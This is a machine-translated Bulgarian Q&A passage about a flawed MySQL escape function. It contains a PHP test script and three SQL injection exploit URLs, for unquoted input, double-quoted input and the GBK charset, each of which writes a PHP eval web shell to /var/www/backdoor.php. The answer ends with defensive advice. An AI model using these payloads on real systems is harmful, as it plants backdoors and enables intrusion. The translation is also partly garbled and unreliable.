Mysql
 sql >> база данни >  >> RDS >> Mysql

Намерих слаба escape функция за MySql, как да използвам?

Ако сте просто замествайки ' с '' тогава можете да използвате това, като инжектирате \' който ще се превърне в \'' и това ще ви позволи да избягате, защото това ви дава единични кавички и истински единични кавички. Въпреки това, замяната на "\\" с "\\\\" отрича тази атака. Двойните единични кавички се използват за "избягане" от единични кавички за MS-SQL, но това не е подходящо за MySQL, но може да работи.

Следните кодоведоказват че тази функция за бягство е безопасна за всички с изключение на три условия . Този код пермутира всички възможни варианти на контролните харти и тества всяка от тях, за да се увери, че няма да възникне грешка с един оператор за избор в кавички. Този код е тестван на MySQL 5.1.41.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Уязвимо състояние 1:не са използвани кавички.

mysql_query("select username from users where id=".escape($_GET['id']));

Експлоатация:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Уязвимо състояние 2:използвани двойни кавички

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Експлоатация:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Уязвимо условие 2:използват се единични кавички, но използва се алтернативен набор от знаци. .

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Експлоатация:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Изводът е винаги да се използва mysql_real_escape_string() като escape рутина за MySQL. Параметризирани библиотеки със заявки като pdo и adodb винаги използват mysql_real_escape_string() когато е свързан към mysql база данни. addslashes() е ДАЛЕЧ ПО-ДОБЪР на рутина за бягство, защото се грижи за уязвимо състояние 2. Трябва да се отбележи, че дори не mysql_real_escape_string() ще спре условие 1, но параметризирана библиотека със заявки ще спре.



  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. Случайна претеглена селекция на събитие

  2. Правилно индексиране при използване на оператор ИЛИ

  3. Не може да се възстанови root паролата с --skip-grant-tables на ubuntu 16

  4. mysql в списъка потвърждава само първия идентификатор в списъка. може би проблем с петна

  5. как да импортирате данни от mysql база данни в datagridview